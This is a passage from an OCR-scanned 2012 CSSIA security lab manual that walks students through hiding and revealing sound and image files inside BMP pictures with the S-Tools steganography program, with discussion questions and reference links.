sounds within the WAV file. This WAV file is from the Windows operating system.

Task 2.2 Conclusion

S-Tools is a Stenography tool that can be used to hide bitmap, GIF, and wave files from
plain view. The files will be embedded in a picture file. During the lab, we hid a sound
file called Windows_Ding.wav within a picture of zebras. Only users who know the
password and encryption algorithm used will be able to reveal the hidden
Windows_Ding.wav sound file. This is a great way to transmit secret messages.

Task 2.3 Discussion Questions

What kind of sound files can be hidden with the S-Tools Stenography tool?
What kind of picture files can be hidden with the S-Tools Stenography tool?
How do you hide a sound file in the S-Tools program?

How do you reveal a hidden sound file in the S-Tools program?

PwwnNRE
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Task 3 Revealing Hidden Data Using S-Tools

In Task 1, we hid a bitmap MSEC picture within the original-zebras picture. Then, in Task
2, we hid a Windows_Ding WAV file within the original-zebras picture. In this task, we
will reveal hidden BMP, WAV, and GIF files within various pictures. These techniques
can be used to send secret messages to another person. Anyone who receives the
original-zebras picture and does not have S-Tools, the password, or the encryption
algorithm will not be able to view the hidden content in the picture.

Task 3.1 Revealing Hidden Data
Open S-Tools

1. Double click on the steg folder on your Desktop. Open the S-Tools.exe file.

—,
OU | | » steg
Organize = Open Share with = Burn
»i Favorntes Bloke
Bl Desktop |%| eryptlib.dll
4 Downloads %) GIFutil.dlil
| Recent Places original-zebras.bmp
- Libraries | | 5-Tools.GID
i Documents ® S-Tools.hlp
J’-‘ Music | zebras.brmp
[ Pictures 1% zlib.dll

Figure 47: Double Clicking on the S-Tools.exe file

2. Click the single rectangle in the bottom left hand side of the screen to maximize
the Actions window, if needed. The Actions window should be maximized.

(% Acti..[ & ||
Ready Mazximize I_

Figure 48: Maximize the Actions Window
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3. Drag the picturel.bmp file from the steg folder into the S-Tools actions window.
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Figure 49: Dragging a File into the S-Tools Actions Windows
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4. To reveal the hidden wav file, right click on picturel.bmp picture and select
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Figure 50: Revealing the Hidden Picture File
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5. Type password in the passphrase and verify passphrase boxes Leave IDEA for the
Encryption algorithm. Click the OK button to reveal the hidden BMP file.

Revealing from picturel.bmp ! u

Pazzphrase: I password Ok, |
I Yerify passphrase: I password Cancel |
E nicroption algarithm: IIDE,-’.'-. ;I Help |

Figure 51: Typing the Password

The words, S-Tools — [Revealed Archive] should appear, along with a Revealed files
window pane in which the hidden file Black_arts.bmp is displayed.

£3 S Tools - [Revealed Archivel E=RACE X

[ Fle Window Help |- [|=] x|

Fevealed files:

Mame | Size |
Black artzbrop 474,054

e e e

Ready | Mo window selected 4

Figure 52: S-Tools — [Revealed Archive] Window

6. Right click on the Black_arts.bmp, and select Save as...

L B
2 S-Tools - [Revealed Archive] . EER =R

['. File Window Help [-[=] =]
Revealed files:
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474 N~k4
Properties...
Save highlighted file to disk | Mo window selected 2
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Figure 53: Saving the Hidden File within the Picture File
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7. Change the Save in location to Desktop and click Save.
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Figure 54: Saving the Hidden File to the Desktop

8. View the picture on your desktop.
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Figure 55: Viewing the Hidden Picture File

9. Close S-Tools by clicking File, then exit. Close the steg window.
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Task 3.2 Conclusion

S-Tools is a Stenography tool that can be used to hide bitmap, GIF, and WAV files from
plain view. Bitmap, GIF, and WAV file formats can be embedded in a GIF or BMP picture
file, or a WAV file. When someone receives a file with one of these format types, it is
very difficult to detect the presence of Stenography. Only users with the Stenography
tool who know the password and Encryption algorithm will be able to open the file.

Task 3.3 Discussion Questions

Use the same procedure in steps 1-9 to identify the hidden file in picture2.bmp.
Use the same procedure in steps 1-9 to identify the hidden file in picture3.bmp.
Use the same procedure in steps 1-9 to identify the hidden file in picture4.bmp.
Use the same procedure in steps 1-9 to identify the hidden file in picture5.bmp.

PwnNe
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5 References

1. S-Tools Download:
http://www.cs.vu.nl/~ast/books/mos2/steg.zip

2. Steganography Explained:
http://www.garykessler.net/library/steganography.html

3. MP3Stego:
http://www.petitcolas.net/fabien/steganography/mp3stego/

4. Hide4PGP:
http://www.heinz-repp.onlinehome.de/Hide4PGP.htm

5. List of Steganography Tools:
http://www.jjtc.com/Steganography/toolmatrix.htm

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 32 of 32



